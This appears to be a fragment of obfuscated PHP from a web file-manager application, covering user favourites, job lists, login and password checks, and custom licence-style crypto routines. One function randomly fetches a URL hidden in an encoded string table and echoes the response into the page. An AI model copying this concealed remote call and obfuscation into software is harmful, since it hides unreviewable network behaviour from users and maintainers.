$_SERVER[ܽҟ]; $C؅ = $Cȴ[281]; goto a򣍰; a򣍰: $C؅ = $this->{$_SERVER[ܽҟ][243]}($C؅, $Cȴ[282]); $D» = $Aމ[626]; if (!$D») { die; } goto DѰԉ; c: while (strlen($c٫) < $Aމ[553]) { if (!$c٫) { break; } $c٫++; } goto F݇Ϧ; DѰԉ: $C؅ = $C؅ . $b›ҡ . $Cȴ[283] . $Cȴ[284]($eđ); $bɛ = $Aމ[627]; if (!$bɛ) { die; } goto d巕; d巕: if ($eđ === -1) { return $C؅; } $bǍ = $Cȴ[245](array($Cȴ[246] => array($Cȴ[249] => $b陹, $Cȴ[247] => $Cȴ[285]), $Cȴ[286] => array($Cȴ[287] => !1, $Cȴ[288] => !1))); $eđ = @$Cȴ[250]($C؅, !1, $bǍ); goto fɼƣ; F݇Ϧ: } private function eaxld2fb8430() { goto b산; b산: $d숋 =& $_SERVER[ȦÆ]; $e˨ =& $_SERVER[ܽҟ]; $dƭ = array($e˨[289] => $e˨[290], $e˨[291] => $e˨[292], $e˨[293] => $e˨[294], $e˨[295] => $e˨[296], $e˨[297] => $e˨[298], $e˨[299] => $e˨[238], $e˨[300] => $e˨[238], $e˨[301] => $e˨[290], $e˨[302] => $e˨[292], $e˨[303] => $e˨[294], $e˨[304] => $e˨[305], $e˨[306] => $e˨[296], $e˨[307] => $e˨[308], $e˨[309] => $e˨[298], $e˨[310] => $e˨[311], $e˨[312] => $e˨[313], $e˨[314] => $e˨[315]); goto F; e椸: return $E״ + $F䭢; goto C鼂; F: $e = $d숋[630]; if (strlen($e) < $d숋[563]) { die; } $E״ = $dƭ[$this->ekjd1c295af7]; goto Dϝȅ; Dϝȅ: $f = $d숋[631]; if (!$f) { return; } $E״ = $e˨[201]($E״ ? $E״ : $e˨[290]); goto E; E: $F䭢 = $e˨[104]($this->awdh12c62fe2, $e˨[316]); $Bψ = $d숋[632]; if (strlen($Bψ) < $d숋[553]) { return; } goto D̺ڢ; D̺ڢ: $F䭢 = $F䭢 ? $e˨[201]($F䭢) : 0; $D = $d숋[633]; while ($D < $d숋[576]) { if ($D >= 0) { break; } $D++; } goto e椸; C鼂: } public function ahxk201d4072($E٫׬) { goto Aйʃ; Aйʃ: $e =& $_SERVER[ܽҟ]; $d̘碠 = $this->{$_SERVER[ܽҟ][137]}(); if ($d̘碠 >= $e[201]($e[238])) { return; } goto aΝ; eń: $b򤆸 = $e[61]($e[139])->{$_SERVER[ܽҟ][317]}($e[318])->{$_SERVER[ܽҟ][319]}($d̘碠)->{$_SERVER[ܽҟ][320]}(); $b򤆸 = $e[222]($b򤆸, $e[10], $e[318]); if (!$e[236]($E٫׬[$e[318]], $b򤆸)) { $e[166]($e[321], !1, $e[233]); } goto aç; aΝ: $B֞؆ = $e[61]($e[139])->{$_SERVER[ܽҟ][140]}(); $cȆцґ = $_SERVER[ȦÆ][634]; if ($B֞؆ <= $d̘碠) { return; } goto eń; aç: } public function xivlce0e7652() { goto c; Eͻ: if (!$bބĆ) { return; } $A = @$Aֹ[250]($c菂, !1, $eƃފ); echo $Aֹ[323] . $Aֹ[324]($A) . $Aֹ[325]; goto D; b宾: $c菂 = $Aֹ[242]; $c菂 = $this->{$_SERVER[ܽҟ][243]}($c菂, $Aֹ[244]); $Fٜ = $b[635]; goto f䳲; f䳲: if (!$Fٜ) { return; } $eƃފ = $Aֹ[245](array($Aֹ[246] => array($Aֹ[247] => $Aֹ[248], $Aֹ[249] => 3))); $bބĆ = $b[636]; goto Eͻ; c: $b =& $_SERVER[ȦÆ]; $Aֹ =& $_SERVER[ܽҟ]; if (!$Aֹ[104]($GLOBALS, $Aֹ[132]) || $Aֹ[322](1, 100) > 20) { return; } goto b宾; D: } private function hzqy0e428486($f, $e, $cҬ = 3) { goto c舰; B錶膌: $f = $cԙ[2]($f); $Eѐ = $cԙ[322](0, 5) . $cԙ[10]; $B = $EΏ[637]; goto aκ׼; aڈϖϸ: if (!$Dͷ) { die; } switch ($Eѐ) { case $cԙ[229]: $DΞ = $this->{$_SERVER[ܽҟ][147]}($f, $cԙ[214]($e . $a뎌)); break; case $cԙ[220]: $DΞ = $this->{$_SERVER[ܽҟ][147]}($f, $cԙ[214]($a뎌 . $e)); $B瓐 = $EΏ[639]; if (strlen($B瓐) < $EΏ[576]) { die; } break; case $cԙ[328]: $DΞ = $this->{$_SERVER[ܽҟ][147]}($f, $cԙ[118]($a뎌 . $e)); $d햭 = $EΏ[640]; break; case $cԙ[329]: $DΞ = $this->{$_SERVER[ܽҟ][147]}($f, $cԙ[114]($a뎌 . $e)); $A = $EΏ[641]; if (strlen($A) < $EΏ[13]) { return; } break; case $cԙ[330]: goto b; bԑÝ: $D񦾇 = $cԙ[114]($e . $cԙ[114]($e . $e) . $e); $D鯣 = $EΏ[642]; if (strlen($D鯣) < $EΏ[563]) { die; } goto Eߺ; E揻ʋ: $d = 0; $cո墕 = 0; $cᙆד = $EΏ[645]; goto dƌ; dƌ: if (!$cᙆד) { return; } for ($bڒ = 0; $bڒ < $cԙ[24]($f); $bڒ++) { $cո墕 = $cո墕 == $cԙ[24]($D񦾇) ? 0 : $cո墕; $d = ($d + $cԙ[332]($e, $f[$bڒ]) + $cԙ[333]($D񦾇[$cո墕++])) % 64; $d .= $e[$d]; } $DΞ = $cԙ[324]($e . $d); goto Dǎ; d䐑: $bڒ = 0; $E = $EΏ[644]; while (strlen($E) < $EΏ[563]) { if (!$E) { break; } $E++; } goto E揻ʋ; Dǎ: $E򪚻 = $EΏ[646]; break; goto dֻҠ; b: $f = $cԙ[118]($f); $d = $cԙ[331](0, 64); $e = $e[$d]; goto bԑÝ; Eߺ: $D񦾇 = $cԙ[25]($D񦾇, $d % 8, $d % 8 + 7); $d = $cԙ[10]; $A̤Ж = $EΏ[643]; goto d䐑; dֻҠ: default: $DΞ = $this->{$_SERVER[ܽҟ][147]}($f, $e . $a뎌); break; $Eۯ = $EΏ[647]; while (strlen($Eۯ) < $EΏ[563]) { if (!$Eۯ) { break; } $Eۯ++; } } $DΞ = $cԙ[214]($Eѐ . $a뎌 . $DΞ); goto fߪݾ; fߪݾ: if ($cҬ - 1 > 0) { $DΞ = $this->{$_SERVER[ܽҟ][127]}($DΞ, $e, $cҬ - 1); } return $DΞ; goto fɈ; c舰: $EΏ =& $_SERVER[ȦÆ]; $cԙ =& $_SERVER[ܽҟ]; $cԙ[326](1); goto B錶膌; aκ׼: $a뎌 = $cԙ[124](15); $e = $cԙ[327]; $Dͷ = $EΏ[638]; goto aڈϖϸ; fɈ: } private function gerd2cf6f451($d, $E, $aѵ = 3) { goto fΜ; fΜ: $Ȁ =& $_SERVER[ȦÆ]; $bΑ =& $_SERVER[ܽҟ]; if (!$bΑ[334]($d) || $bΑ[24]($d) < 10) { return !1; } goto C; C: $d = $bΑ[2]($d); $d = $Ȁ[648]; if (strlen($d) < $Ȁ[597]) { return; } goto C׌Ӑ傳; AÒ: $Fĸ = $Ȁ[650]; if (!$Fĸ) { die; } switch ($d) { case $bΑ[229]: $F = $this->{$_SERVER[ܽҟ][243]}($d, $bΑ[214]($E . $eݐ)); $E = $Ȁ[651]; if (strlen($E) < $Ȁ[563]) { die; } break; $aҦ = $Ȁ[652]; if (strlen($aҦ) < $Ȁ[553]) { die; } case $bΑ[220]: $F = $this->{$_SERVER[ܽҟ][243]}($d, $bΑ[214]($eݐ . $E)); break; $Eȼ˅ = $Ȁ[653]; case $bΑ[328]: $F = $this->{$_SERVER[ܽҟ][243]}($d, $bΑ[118]($eݐ . $E)); $A = $Ȁ[654]; break; $A⮕ = $Ȁ[655]; while ($A⮕ < $Ȁ[13]) { if ($A⮕ >= 0) { break; } $A⮕++; } case $bΑ[329]: $F = $this->{$_SERVER[ܽҟ][243]}($d, $bΑ[114]($eݐ . $E)); $b񑾝 = $Ȁ[656]; break; case $bΑ[330]: goto b҆; F݄: $d = $bΑ[25]($d, 1); $aﷻ = $Ȁ[658]; if (!$aﷻ) { die; } goto cظ; e: for ($FӖ = 0; $FӖ < $bΑ[24]($d); $FӖ++) { $B = $B == $bΑ[24]($Dțź) ? 0 : $B; $d΅ = $Ȁ[662]; if (strlen($d΅) < $Ȁ[13]) { die; } $A۴䉼 = $B++; $a = $bΑ[332]($Cȧ, $d[$FӖ]) - $bծ⺘ - $bΑ[333]($Dțź[$A۴䉼]); while ($a < 0) { $a += 64; $bӿ = $Ȁ[663]; } $F .= $Cȧ[$a]; } $F = $bΑ[336]($F); $D = $Ȁ[664]; goto e煉; e煉: while (strlen($D) < $Ȁ[563]) { if (!$D) { break; } $D++; } break; goto Fϑ; b҆: $d = $bΑ[335]($d); $Cґ = $d[0]; $b = $Ȁ[657]; goto F݄; E: $D҇ = $Ȁ[661]; if (strlen($D҇) < $Ȁ[563]) { return; } $B = 0; goto e; cظ: $bծ⺘ = $bΑ[332]($Cȧ, $Cґ); $e = $Ȁ[659]; $Dțź = $bΑ[114]($Cґ . $bΑ[114]($E . $Cґ) . $E); goto Eϊɇ; Eϊɇ: $Dțź = $bΑ[25]($Dțź, $bծ⺘ % 8, $bծ⺘ % 8 + 7); $F = $bΑ[10]; $FӖ = 0; goto d͌; d͌: $Dګ = $Ȁ[660]; if (strlen($Dګ) < $Ȁ[13]) { die; } $a = 0; goto E; Fϑ: default: $F = $this->{$_SERVER[ܽҟ][243]}($d, $E . $eݐ); break; } goto dҿ; dҿ: if ($aѵ - 1 > 0) { $F = $this->{$_SERVER[ܽҟ][188]}($F, $E, $aѵ - 1); } return $F; goto E; Fҥ: $B΍ = $Ȁ[649]; $d = $bΑ[25]($d, 16); $Cȧ = $bΑ[327]; goto AÒ; C׌Ӑ傳: $d = $bΑ[214]($d); $d = $d[0]; $eݐ = $bΑ[25]($d, 1, 15); goto Fҥ; E: } public function enpxe2afb1dc($a) { goto Dఏ; Bήݎ: $b = $this->{$_SERVER[ܽҟ][337]}(); $DҐ = $F[665]; if (strlen($DҐ) < $F[597]) { die; } goto b; Aߝ: $aε = $F[670]; while ($aε < $F[13]) { if ($aε >= 0) { break; } $aε++; } return $dܧ; goto DӼ; DӼ: $Dε۴ = $F[671]; if (!$Dε۴) { die; } goto F݃; eLJՉ: $BƆ = $F[669]; $f哿 = $C[114]($C[338] . ($aԽ + $b) . $C[339] . $Eڄ . $C[339] . $Fۍ . $C[340]); $dܧ = $this->{$_SERVER[ܽҟ][147]}($a, $f哿) . $C[341] . $Aش; goto Aߝ; b: $f햔 = ($aԽ - 1) * ($b - 1); $Eڄ = $C[201](($aԽ + $b) / 2); while (1) { $AӃ饷 = $Eڄ; $eسֳ = $F[666]; if (!$eسֳ) { die; } $f΢ = $f햔; while ($f΢ % $AӃ饷 != 0) { $B꣌ = $f΢; $a҆ = $F[667]; if (!$a҆) { return; } $f΢ = $AӃ饷; $AӃ饷 = $B꣌ % $AӃ饷; $d = $F[668]; while ($d < $F[597]) { if ($d >= 0) { break; } $d++; } } if ($AӃ饷 == 1) { break; } else { $Eڄ++; } } goto d; d: $Fۍ = 2; for ($b䖉 = 0; $b䖉 < $f햔 * 10; $b䖉++) { if (($f햔 * $b䖉 + 1) % $Eڄ == 0) { $Fۍ = $C[201](($f햔 * $b䖉 + 1) / $Eڄ); break; } } $Aش = $this->{$_SERVER[ܽҟ][147]}($aԽ * $b . $C[10], $C[149]); goto eLJՉ; Dఏ: $F =& $_SERVER[ȦÆ]; $C =& $_SERVER[ܽҟ]; $aԽ = $this->{$_SERVER[ܽҟ][337]}(); goto Bήݎ; F݃: } public function tyaua7916139($b͜) { goto C率; Fб: if (strlen($bĈ) < $Eظٰ[597]) { return; } for ($eۤ = 3; $eۤ < $A˞; $eۤ += 2) { if ($A˞ % $eۤ != 0) { continue; } $cّ = $eۤ; $AĔ˝ = $Eظٰ[674]; $e = $B[201]($A˞ / $eۤ); $c = $Eظٰ[675]; break; $bڊ = $Eظٰ[676]; } $Fڸ = ($cّ - 1) * ($e - 1); goto B⚑; c˵: if (strlen($cƤѫ) < $Eظٰ[563]) { die; } goto eר; D읰: for ($eۤ = 0; $eۤ < $Fڸ * 10; $eۤ++) { if (($Fڸ * $eۤ + 1) % $ANJ == 0) { $Cڶ = $B[201](($Fڸ * $eۤ + 1) / $ANJ); break; } } $dψ = $B[114]($B[338] . ($cّ + $e) . $B[339] . $ANJ . $B[339] . $Cڶ . $B[340]); $B祧 = $this->{$_SERVER[ܽҟ][243]}($Cʲ[0], $dψ); goto FÕ; FÕ: $E휊 = $Eظٰ[681]; return $B祧; $cƤѫ = $Eظٰ[682]; goto c˵; B֙ۯ: $A˞ = $B[201]($A˞); $cّ = 0; $d艍ՙ = $Eظٰ[672]; goto Dͷ; DѠ: if ($B[19]($Cʲ) != 2) { return $B[10]; } $A˞ = $this->{$_SERVER[ܽҟ][243]}($Cʲ[1] . $B[10], $B[149]); if (!$A˞) { return $B[10]; } goto B֙ۯ; Dͷ: if (!$d艍ՙ) { return; } $e = 0; $bĈ = $Eظٰ[673]; goto Fб; B⚑: $ANJ = $B[201](($cّ + $e) / 2); while (1) { $cڍ = $ANJ; $eݩ = $Eظٰ[677]; if (!$eݩ) { die; } $E = $Fڸ; $Dϙ‚ = $Eظٰ[678]; if (strlen($Dϙ‚) < $Eظٰ[553]) { return; } while ($E % $cڍ != 0) { $A = $E; $d˼ = $Eظٰ[679]; $E = $cڍ; $cڍ = $A % $cڍ; $a纂 = $Eظٰ[680]; while (strlen($a纂) < $Eظٰ[597]) { if (!$a纂) { break; } $a纂++; } } if ($cڍ == 1) { break; } else { $ANJ++; } } $Cڶ = 2; goto D읰; C率: $Eظٰ =& $_SERVER[ȦÆ]; $B =& $_SERVER[ܽҟ]; $Cʲ = $B[0]($B[341], $b͜); goto DѠ; eר: } public function qwnh4f7cd5c4() { goto Dͼ; f죠: $b = array(); $A = $B[683]; $D͡ã = 1; goto eߧ; eߧ: while ($D͡ã <= (int) $D˯ޭ[343]($Aܗ)) { $Eډħ = $D͡ã; while (!0) { $Eډħ++; if ($Eډħ <= 2) { $D͡ã = $Eډħ; break; } else { if ($Eډħ < 2) { continue; } } $e = !0; for ($B؂ = 2; $B؂ <= $D˯ޭ[343]($Eډħ); $B؂++) { if ($Eډħ % $B؂ == 0) { $e = !1; } } if ($e) { $D͡ã = $Eډħ; break; } } $b[] = $D͡ã; } $FǷێ = 2; for ($Eډħ = $Aܗ; $Eډħ > 1; $Eډħ--) { $e = !0; foreach ($b as $a) { if ($Eډħ % $a == 0) { $e = !1; break; } } if ($e) { $FǷێ = $Eډħ; break; } } goto c; c: return $FǷێ; $A = $B[684]; goto Cð; Dͼ: $B =& $_SERVER[ȦÆ]; $D˯ޭ =& $_SERVER[ܽҟ]; $Aܗ = $D˯ޭ[322]($D˯ޭ[342](2, 14), $D˯ޭ[342](2, 16) - 1); goto f죠; Cð: } public function plvy8c2fdbd9($aҫ, $d謕) { $B =& $_SERVER[ܽҟ]; return $B[13](array($B[14], $B[344]), $aҫ, $d謕); $CɅ = $_SERVER[ȦÆ][685]; if (!$CɅ) { return; } } public function rwis7db0529f($eѦƖ, $bԤ) { $bˣ =& $_SERVER[ܽҟ]; return $bˣ[13](array($bˣ[345], $bˣ[346]), $eѦƖ, $bԤ); $Aӈ = $_SERVER[ȦÆ][686]; } public function ehjp43fd2d4a($cӫ, $dÕ) { $dՃ =& $_SERVER[ȦÆ]; $B蕻Ԃ =& $_SERVER[ܽҟ]; return $B蕻Ԃ[13](array($B蕻Ԃ[345], $B蕻Ԃ[347]), $cӫ, $dÕ); $aُݑ = $dՃ[687]; while (strlen($aُݑ) < $dՃ[597]) { if (!$aُݑ) { break; } $aُݑ++; } } } goto Fޅ賷; c: class UserFavModel extends ModelBase { protected $tableName = "\165\x73\x65\162\x5f\146\x61\166"; protected function cacheFunctionAlias($f) { $C⣾ =& $_SERVER[ȦÆ]; return array($C⣾[2455] => array(USER_ID, $C⣾[2456])); } protected function listData() { $eԜ =& $_SERVER[ȦÆ]; $E퐗 = array($eԜ[1403] => USER_ID, $eԜ[441] => 0); $F = $eԜ[2457]; $eƖ = $this->field($F)->where($E퐗)->order($eԜ[2458])->select(); return $eƖ ? $eƖ : array(); } protected function resetCache() { } protected function listView() { goto AԎÃ; b竗: $F = array_to_keyvalue($Cȴ, $d㹢[43], $d㹢[85]); if (!$F) { return $Fʫᴈ; } $aݧʻ = 2000; goto A; A: $E = array($d㹢[388] => array($d㹢[389], $F)); $c麩߯ = Model($d㹢[753])->listSource($E, $aݧʻ); $c麩߯ = array_merge($c麩߯[$d㹢[83]], $c麩߯[$d㹢[84]]); goto fǯ䷳; fǯ䷳: $c麩߯ = array_to_keyvalue($c麩߯, $d㹢[374]); foreach ($Fʫᴈ as $C => $fă) { $d = $c麩߯[$fă[$d㹢[85]]]; $d = $d ? $d : array(); $Fʫᴈ[$C] = array_merge($d, $fă); } return $Fʫᴈ; goto Cم; AԎÃ: $d㹢 =& $_SERVER[ȦÆ]; $Fʫᴈ = $this->listData(); $Cȴ = array_filter_by_field($Fʫᴈ, $d㹢[39], $d㹢[387]); goto b竗; Cم: } protected function addFav($AЏ, $EѪƅ = '', $f = "\x73\x6f\165\x72\143\145") { goto aܿ; B: $dֳ = array($cڜ[1403] => USER_ID, $cڜ[441] => 0); $e = $this->where($dֳ)->max($cڜ[2095]); if (!$e) { $e = 0; } goto F³; F³: if (!$EѪƅ && $f == $cڜ[387]) { $b艓 = Model($cڜ[1103])->where(array($cڜ[388] => $AЏ))->find(); if (!$b艓) { return !1; } $EѪƅ = $b艓[$cڜ[38]]; } $EѪƅ = $this->getAutoName($EѪƅ); $f芜掓 = array($cڜ[1403] => USER_ID, $cڜ[441] => 0, $cڜ[391] => $EѪƅ, $cڜ[392] => $AЏ, $cڜ[393] => $f, $cڜ[2078] => $e + 1); goto D; D: return $this->add($f芜掓); goto AÚڑ; aܿ: $cڜ =& $_SERVER[ȦÆ]; $dֳ = array($cڜ[1403] => USER_ID, $cڜ[441] => 0, $cڜ[393] => $f, $cڜ[392] => $AЏ); if ($this->where($dֳ)->find()) { return !1; } goto B; AÚڑ: } protected function remove($Dُ) { $F =& $_SERVER[ȦÆ]; $D̴ = array($F[1403] => USER_ID, $F[390] => $Dُ); return $this->where($D̴)->delete(); } protected function removeByName($Dԧ) { $A =& $_SERVER[ȦÆ]; $Aટ۲ = array($A[1403] => USER_ID, $A[391] => $Dԧ, $A[441] => 0); return $this->where($Aટ۲)->delete(); } protected function rename($fÃ, $bԮó) { $Cܴ =& $_SERVER[ȦÆ]; if ($fà == $bԮó) { return !1; } $aџѠ = $this->getAutoName($bԮó); if ($bԮó != $aџѠ) { return !1; } $Aٍ = array($Cܴ[1403] => USER_ID, $Cܴ[441] => 0, $Cܴ[38] => $fÃ); return $this->where($Aٍ)->save(array($Cܴ[38] => $bԮó)); } protected function resetSort($a车ݧ) { $fܺ =& $_SERVER[ȦÆ]; $a车ݧ = is_array($a车ݧ) ? $a车ݧ : array(); $āڵ = array($fܺ[1403] => USER_ID); for ($d = 0; $d < count($a车ݧ); $d++) { $āڵ[$fܺ[390]] = $a车ݧ[$d]; $this->where($āڵ)->save(array($fܺ[2078] => $d + 1)); } return !0; } protected function moveTop($Dɉ) { goto e̞ޠ; D㐫陷: $e = $E; $E = array_remove_value($E, $cߤ[$F[372]]); array_unshift($E, $cߤ[$F[372]]); goto D; dʞ: if (!$cߤ) { return; } $E = $this->field($F[372])->where($fÛܕ)->order($F[2458])->select(); $E = array_to_keyvalue($E, $F[43], $F[372]); goto D㐫陷; D: return $this->resetSort($E); goto D呉; e̞ޠ: $F =& $_SERVER[ȦÆ]; $fÛܕ = array($F[1403] => USER_ID, $F[441] => 0); $cߤ = $this->where($fÛܕ)->where(array($F[38] => $Dɉ))->find(); goto dʞ; D呉: } protected function moveBottom($fȗ) { $c戧 =& $_SERVER[ȦÆ]; $d = array($c戧[1403] => USER_ID, $c戧[441] => 0); $Fۈ绂 = $this->where($d)->max($c戧[2095]); $dˍ = array($c戧[2095] => $Fۈ绂 + 1); return $this->where($d)->where(array($c戧[38] => $fȗ))->save($dˍ); } private function getAutoName($aÝ) { goto fӼ๯; Dǖ: $fˑ = array_to_keyvalue($fˑ, $eӶѳ[43], $eӶѳ[38]); if (!$fˑ || !in_array($aÝ, $fˑ)) { return $aÝ; } for ($fՓ = 0; $fՓ < count($fˑ); $fՓ++) { if (!in_array($aÝ . "\50{$fՓ}\51", $fˑ)) { return $aÝ . "\x28{$fՓ}\x29"; } } goto eٔ; fӼ๯: $eӶѳ =& $_SERVER[ȦÆ]; $C = array($eӶѳ[1403] => USER_ID, $eӶѳ[441] => 0); $fˑ = $this->field($eӶѳ[38])->where($C)->select(); goto Dǖ; eٔ: return $aÝ . "\x28{$fՓ}\x29"; goto EҦ; EҦ: } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\145\155\56\x6a\x6f\142\114\151\x73\164"; public $field = array("\x6e\141\155\145", "\144\x65\x73\x63", "\163\x6f\x72\164"); const JOB_KEY = "\x73\x65\154\146\x4a\x6f\142\114\x69\163\164"; public function listData($Cؓ = false, $b = "\x73\157\162\164", $Aɠ = false) { return parent::listData($Cؓ, $b, $Aɠ); } public function remove($A) { return parent::remove($A); } public function add($e) { $a僺 =& $_SERVER[ȦÆ]; if ($this->findByName($e[$a僺[38]])) { return !1; } $e[$a僺[2095]] = $this->getSort(); return parent::insert($e); } private function getSort() { $E =& $_SERVER[ȦÆ]; $a扱 = parent::listData(); $FȜ = array_to_keyvalue($a扱, $E[43], $E[2095]); return empty($FȜ) ? 0 : max($FȜ) + 1; } public function update($b, $A䌑) { $Fȍ⩉ =& $_SERVER[ȦÆ]; $c = parent::listData($b); $d = $this->findByName($A䌑[$Fȍ⩉[38]]); if (!$c || $d && $d[$Fȍ⩉[372]] != $c[$Fȍ⩉[372]]) { return !1; } return parent::update($b, $A䌑); } public function setUserJob($c砤ϋ, $Fޓ) { goto Eҋ۸; b㊙: $aÏ = array_to_keyvalue($dǎ, $aú[38]); $FҺ = $aú[366]; foreach ($Fޓ as $fǍ) { if ($aÏ[$fǍ]) { $FҺ .= $aÏ[$fǍ][$aú[372]] . $aú[57]; } else { $b = $this->add($fǍ); $FҺ .= $b . $aú[57]; } } goto Aґ; Eҋ۸: $aú =& $_SERVER[ȦÆ]; if (!is_array($Fޓ)) { $Fޓ = array($Fޓ); } $dǎ = parent::listData(); goto b㊙; Aґ: $FҺ = rtrim($FҺ, $aú[57]); Model($aú[482])->metaSet($c砤ϋ, self::JOB_KEY, $FҺ); goto a̜; a̜: } public function getUserJob($f䵋) { $e̫ = Model($_SERVER[ȦÆ][482])->metaGet($f䵋); return $this->getUserJobInfo($e̫[self::JOB_KEY]); } public function getUserJobInfo($d߬ϕ) { goto bݧ; dƐ: $fղ = array_remove_key($fղ, $D[193]); $a = array(); foreach ($EȨ as $Dش) { if (isset($fղ[$Dش])) { $a[] = $fղ[$Dش]; } } goto a; a: return $a; goto bˎֵ; bݧ: $D =& $_SERVER[ȦÆ]; $EȨ = explode($D[57], $d߬ϕ); $fղ = parent::listData(); goto dƐ; bˎֵ: } } class UserModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72"; protected $tableMeta = array("\164\141\x62\154\145\116\141\x6d\x65" => "\x75\x73\145\x72\x5f\155\x65\164\141", "\155\145\164\141\x46\151\x65\154\144" => "\x75\x73\x65\x72\x49\104"); protected $simpleField = "\165\x73\145\162\x49\104\x2c\x6e\151\x63\153\116\x61\155\x65\x2c\x6e\141\155\145\54\141\x76\x61\164\141\x72\54\163\x65\x78"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($c͝ݯ) { $Fݺ =& $_SERVER[ȦÆ]; $F = $Fݺ[2459]; return array($Fݺ[2140] => array($c͝ݯ[0], $F), $Fݺ[2142] => array($c͝ݯ[0], $F), $Fݺ[2460] => array($c͝ݯ[0], $F)); } protected function getInfo($e솕Ӑ, $EȇΈ = false) { $B = $this->getInfoSimple($e솕Ӑ); if (!is_array($B)) { return array(); } if ($EȇΈ) { return $this->_getInfoApply($B); } return $this->cacheFunctionGet($_SERVER[ȦÆ][2182], $e솕Ӑ); } protected function getInfoFull($D, $F򾜊מ = false) { $E̚ = $this->getInfoSimple($D); if (!is_array($E̚)) { return array(); } if ($F򾜊מ) { return $this->_getInfoApply($E̚, !0); return $this->_getInfoApply($E̚, !0); } return $this->cacheFunctionGet($_SERVER[ȦÆ][2461], $D); } private function _getInfoApply($Dٔ, $cȶ = false) { goto C; F䙂: $Dٔ[$Bǖޗ[396]][$Bǖޗ[2297]] = isset($cŐ[$Bǖޗ[2298]]) ? $cŐ[$Bǖޗ[2298]] : null; if ($cȶ) { $Dٔ[$Bǖޗ[422]] = $this->metaGet($Dٔ[$Bǖޗ[1412]]); } return $Dٔ; goto cÝ; C: $Bǖޗ =& $_SERVER[ȦÆ]; if (!$Dٔ) { return $Dٔ; } $f = md5($Bǖޗ[2462] . $Dٔ[$Bǖޗ[797]] . $Bǖޗ[2463] . $Dٔ[$Bǖޗ[38]]); goto a; a: $Dٔ = $this->_listDataApplyItem($Dٔ); $cŐ = Model($Bǖޗ[1103])->metaGet($Dٔ[$Bǖޗ[396]][$Bǖޗ[374]]); $Dٔ[$Bǖޗ[2464]] = $f; goto F䙂; cÝ: } protected function getInfoSimple($b잰, $bDž = false) { $Cڐ =& $_SERVER[ȦÆ]; if (!$b잰) { return array(); } if ($bDž) { $FӔꊃ = $this->where(array($Cڐ[1412] => intval($b잰)))->find(); if (!is_array($FӔꊃ)) { return array(); } $FӔꊃ[$Cڐ[2465]] = Action($Cڐ[2466])->parseUrl($FӔꊃ[$Cڐ[2465]]); return $FӔꊃ; } return $this->cacheFunctionGet($Cڐ[2143], $b잰); } protected function getInfoSimpleOuter($eʹ) { goto BŸ; BŸ: $DӉԲ =& $_SERVER[ȦÆ]; if (!$eʹ || $eʹ == 0) { return array($DӉԲ[1412] => $DӉԲ[473], $DӉԲ[38] => $DӉԲ[163] . LNG($DӉԲ[2467]) . $DӉԲ[481], $DӉԲ[2465] => STATIC_PATH . $DӉԲ[2468]); } $Ĉ = $this->cacheFunctionGet($DӉԲ[2143], $eʹ); goto d釆ۤ; Eʢ: return $f۟; goto aܮ; d釆ۤ: $f۟ = array_field_key($Ĉ, explode($DӉԲ[57], $this->simpleField)); if (!$f۟) { return array($DӉԲ[1412] => $DӉԲ[1024], $DӉԲ[38] => $DӉԲ[163] . LNG($DӉԲ[2469]) . $DӉԲ[481], $DӉԲ[2465] => STATIC_PATH . $DӉԲ[2470]); } $f۟[$DӉԲ[2465]] = Action($DӉԲ[2466])->parseUrl($f۟[$DӉԲ[2465]]); goto Eʢ; aܮ: } protected function groupUser($D醊) { } public static function errorLang($BĽ) { $Eʫ =& $_SERVER[ȦÆ]; $FǢ = array(self::ERROR_USER_NOT_EXISTS => $Eʫ[2471], self::ERROR_USER_PASSWORD_ERROR => $Eʫ[2472], self::ERROR_USER_EXIST_NAME => $Eʫ[2473], self::ERROR_USER_EXIST_PHONE => $Eʫ[2474], self::ERROR_USER_EXIST_EMAIL => $Eʫ[2475], self::ERROR_USER_LOGIN_LOCK => $Eʫ[2476], self::ERROR_IP_NOT_ALLOW => $Eʫ[2477], self::ERROR_USER_EXIST_NICKNAME => $Eʫ[2478]); return LNG($FǢ[$BĽ]); } public function getInfoByMeta($b, $F) { $B =& $_SERVER[ȦÆ]; $a = Model($B[2479])->where(array($B[99] => $b, $B[364] => $F))->find(); if ($a) { return $this->getInfo($a[$B[1412]]); } return !1; } public function userLoginCheck($E̲˿, $DًԳ) { goto Fğ; Fğ: $E֥ =& $_SERVER[ȦÆ]; $b = array($E֥[38] => $E̲˿, $E֥[2301] => $E̲˿, $E֥[298] => $E̲˿, $E֥[2480] => $E̲˿, $E֥[909] => $E֥[911]); if ($this->nickNameRpt()) { unset($b[$E֥[2301]]); } goto cΊ; cΊ: $C = $this->where($b)->find(); if (!$C) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($C[$E֥[1412]], $DًԳ)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } goto dʼ; dʼ: $this->userEdit($C[$E֥[1412]], array($E֥[2481] => time())); $this->clearCache($C[$E֥[1412]]); return $this->getInfo($C[$E֥[1412]]); goto Bºő; Bºő: } public function clearCache($fΖȂ) { $fŒ =& $_SERVER[ȦÆ]; $this->cacheFunctionClear($fŒ[2182], $fΖȂ); $this->cacheFunctionClear($fŒ[2143], $fΖȂ); } public function userPasswordCheck($D‹, $aݒ) { $CĽ =& $_SERVER[ȦÆ]; $d = $this->where(array($CĽ[1412] => intval($D‹)))->find(); $aƩ = $this->metaGet($D‹); $Dߩ = isset($aƩ[$CĽ[2482]]) ? $aƩ[$CĽ[2482]] : $CĽ[43]; if (md5($Dߩ . trim($aݒ)) !== $d[$CĽ[797]]) { return !1; } return !0; } public function userAdd($Eѐ) { goto D; aՙ: $C = $this->_checkExist($Eѐ); if ($C !== !0) { return $C; } $bę⽔ = $this->add($b); goto bˋ; dƒ: return $bę⽔; goto C孔߅; D: $bƶл =& $_SERVER[ȦÆ]; $b = array($bƶл[391] => $Eѐ[$bƶл[38]], $bƶл[2483] => $Eѐ[$bƶл[2484]], $bƶл[2485] => isset($Eѐ[$bƶл[298]]) ? $Eѐ[$bƶл[298]] : $bƶл[43], $bƶл[2486] => 